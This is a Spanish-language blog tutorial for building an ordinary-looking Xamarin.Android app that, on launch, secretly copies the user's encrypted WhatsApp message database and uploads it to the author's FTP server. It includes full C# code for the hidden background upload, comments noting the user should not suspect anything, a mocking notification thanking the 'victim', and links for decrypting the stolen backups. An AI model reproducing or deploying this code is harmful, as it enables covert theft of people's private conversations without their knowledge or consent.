Subir un archivo de base de datos de WhatsApp a un servidor FTP con Xamarin.Android
Empezamos generando un proyecto común y corriente de Xamarin.Android al cual le añadiremos unos simples metodos para hacer el trabajo sucio empezaremos con el metodo que nos genera un hilo el cual trabajara en background para subir el archivo sin que el usuario se de cuenta(Es importante configurar bien nuestras tres variables ftpHost=Dirección del ftp, ftpUser=Usuario del ftp y ftpPassword=Clave del usuario):
void CargarBaseaFTP() { //Creamos un hilo independiente que trabaja asincronamente para que el usuario no sospeche la carga del archivo Task.Factory.StartNew(()=>{ try { //Tomamos el Id de Android para crear un archivo unico en el FTP var device = Build.Device; var id = Settings.Secure.GetString(Application.Context.ContentResolver, Settings.Secure.AndroidId); //Cargar Url Base de Datos //Tomamos el directorio de la SD var path = Android.OS.Environment.ExternalStorageDirectory.AbsolutePath; //Combinamos el directorio de la SD + el de WhatsApp path = Path.Combine(path, "WhatsApp"); //Combinamos el directorio de WhatsApp con el de Databases que es donde se encuentra la base de datos path = Path.Combine(path, "Databases"); //Combinamos el directorio de las bases de datos con el del archivo de conversaciones encriptado //msgstore.db.crypt == a ultimo backup de conversaciones generado //en esta direccion hay mas archivo en diferentes fechas que son respaldos anteriores de la base path = Path.Combine(path, "msgstore.db.crypt5"); //Configurar FTP string ftpHost = "direccion";//"miftp.com" string ftpUser = "usuario"; string ftpPassword = "password"; //Direccion completa de donde quedaria hospedado la base da la victima string ftpfullpath = "ftp://" + ftpHost + "/"+ id +"msgstore.db.crypt5"; //Generamos FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpfullpath); //Preparamos el ftp para recibir el archivo ftp.Credentials = new NetworkCredential(ftpUser, ftpPassword); ftp.KeepAlive = true; ftp.UseBinary = true; ftp.Method = WebRequestMethods.Ftp.UploadFile; //Usamos magia negra para subir el archivo a nuestro using (FileStream fs = File.OpenRead(path)) { byte[] buffer = new byte[fs.Length]; fs.Read(buffer, 0, buffer.Length); fs.Close(); Stream ftpstream = ftp.GetRequestStream(); ftpstream.Write(buffer, 0, buffer.Length); ftpstream.Close(); } //Agradecemos al usuario por su cooperación createNotification("SORPRESA", "Muchas Gracias por tus conversaciones de WhatsApp"); } catch(Exception ex) { //En caso de algún error createNotification("SORPRESA", "Te has salido con la tuya"); } }); }
Ahora les paso un snippet muy recomendable para generar una notificación de sistema al cual pasamos dos parámetros los cuales son el Titulo de la notification y la descripción o texto que mostraremos
void createNotification(string title, string desc) { var notificationManager = GetSystemService (Context.NotificationService) as NotificationManager; var uiIntent = new Intent (this, typeof(MainActivity)); var notification = new Notification (Android.Resource.Drawable.IcDialogInfo, title); notification.Flags = NotificationFlags.AutoCancel; notification.SetLatestEventInfo (this, title, desc, PendingIntent.GetActivity (this, 0, uiIntent, 0)); notificationManager.Notify (1, notification); }
Listo ahora solo mandaremos a llamar el metodo CargarBaseaFTP() en el metodo OnCreate() y listo en cuestión de minutos o segundos dependiendo el peso de la base tendremos en nuestro ftp la base de whatsapp de nuestra victima
protected override void OnCreate (Bundle bundle) { base.OnCreate (bundle); // Set our view from the "main" layout resource SetContentView (Resource.Layout.Main); // Get our button from the layout resource, // and attach an event to it Button button = FindViewById<Button> (Resource.Id.myButton); button.Click += delegate { Toast.MakeText(this, "Hola", ToastLength.Short); }; CargarBaseaFTP (); }
Ahora tenemos como resultado esto
UNA APP COMUN Y CORRIENTE
LANZAMOS UN MSJ AL USUARIO
REVISAMOS EN NUESTRO FTP AHORA YA TENEMOS LA BASE DE LA VICTIMA
Pueden bajar desde mi github el ejemplo completo
https://github.com/AlejandroRuiz/Mono/tree/master/UploadWhatsAppData
Si quieren desencriptar la base obtenida les dejo como referencia esto que les ayudara mucho
http://forum.xda-developers.com/showthread.php?t=1583021
http://www.digitalinternals.com/279/20140330/decrypt-whatsapp-crypt5-database-messages/
https://github.com/aramosf/pwncrypt5/blob/master/pwncrypt5.py
http://www.indetectables.net/viewtopic.php?f=12&t=49510
NOTA: YA SABEN CON EL CONOCIMIENTO VIENE RESPONSABILIDAD ASI QUE USENLO BAJO SU PROPIO RIESGO.
Les dejo algo de buena musica para que se relajen.
Comentarios
Publicar un comentario